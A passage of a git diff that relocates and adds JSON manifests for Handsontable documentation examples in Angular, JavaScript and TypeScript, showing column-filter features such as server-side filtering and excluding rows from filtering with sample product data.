\"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example10',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack: { column: number; conditions: unknown[]; operation: string }[]) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n console.log(`The last changed column index: ${conditionsStack[0].column}`);\n console.log(\n `The amount of filters added to this column: ${conditionsStack[0].conditions.length}`\n );\n // the list of filter conditions\n console.log(conditionsStack[0].conditions);\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example10.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example10","exampleTitle":"Server-side filtering (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example11.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example11.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example11.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example11.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example12.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example12.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example12.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example12.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example8.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example8.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example8.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example9.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example9.ts.json new file mode 100644 index 00000000..f893b53c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example9.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Exclude rows from filtering (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example9',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n minSpareRows: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter(this: Handsontable) {\n const filtersPlugin = this.getPlugin('filters');\n const filtersRowsMap = (filtersPlugin as any).filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(\n filtersRowsMap.indexedValues.length - 1,\n false\n );\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example9.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example9","exampleTitle":"Exclude rows from filtering (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json new file mode 100644 index 00000000..d81bc8ca --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Exclude rows from filtering · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleExcludeRowsFromFiltering');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n minSpareRows: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter() {\n const filtersPlugin = this.getPlugin('filters');\n const filtersRowsMap = filtersPlugin.filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.indexedValues.length - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json new file mode 100644 index 00000000..4275bbd4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Exclude rows from filtering · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleExcludeRowsFromFiltering')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n minSpareRows: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter() {\n const filtersPlugin: Filters = (this as Handsontable).getPlugin('filters');\n const filtersRowsMap = filtersPlugin.filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.indexedValues.length - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import 